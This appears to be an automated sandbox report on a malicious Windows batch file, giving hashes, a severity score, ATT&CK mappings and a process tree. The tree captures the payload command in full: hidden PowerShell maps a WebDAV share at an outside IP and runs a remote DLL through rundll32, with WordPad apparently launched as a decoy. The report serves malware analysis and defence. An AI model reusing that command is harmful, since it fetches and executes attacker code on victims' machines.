2677e941c6ff72245fb64411923d5cc82d5b6a20608e3f67796709ca1a047822

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
14/07/2024, 18:01

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General

Target

20856219261922925126.bat
Size

2KB
MD5

975569c599b89bf0b0f2ddcc2d90a74e
SHA1

8cc6133ffcef4c19b00380e531eb885330406c38
SHA256

ecc04026d57e69866f0e9101829258287e8c88a3eeaf2ffcc066f80d31258ad9
SHA512

b98ad6ccbd4ff121bb6e1cdc19cb6edfef6d065eeba4e6682b6d09a65135964097928ea04138b0a1b00f6cfaa56ac83c26cdffc9183dd1ede3f733afe2eb5fb9

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2472	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2472	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2472	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
896	wordpad.exe
896	wordpad.exe
896	wordpad.exe
896	wordpad.exe
896	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1940 wrote to memory of 896	1940	cmd.exe	31
PID 1940 wrote to memory of 896	1940	cmd.exe	31
PID 1940 wrote to memory of 896	1940	cmd.exe	31
PID 1940 wrote to memory of 2472	1940	cmd.exe	32
PID 1940 wrote to memory of 2472	1940	cmd.exe	32
PID 1940 wrote to memory of 2472	1940	cmd.exe	32
PID 2472 wrote to memory of 2168	2472	powershell.exe	34
PID 2472 wrote to memory of 2168	2472	powershell.exe	34
PID 2472 wrote to memory of 2168	2472	powershell.exe	34
PID 2472 wrote to memory of 2712	2472	powershell.exe	35
PID 2472 wrote to memory of 2712	2472	powershell.exe	35
PID 2472 wrote to memory of 2712	2472	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\20856219261922925126.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1940
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3443.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2168
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\3443.dll entry
    3⤵
    PID:2712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2472-24-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2472-25-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download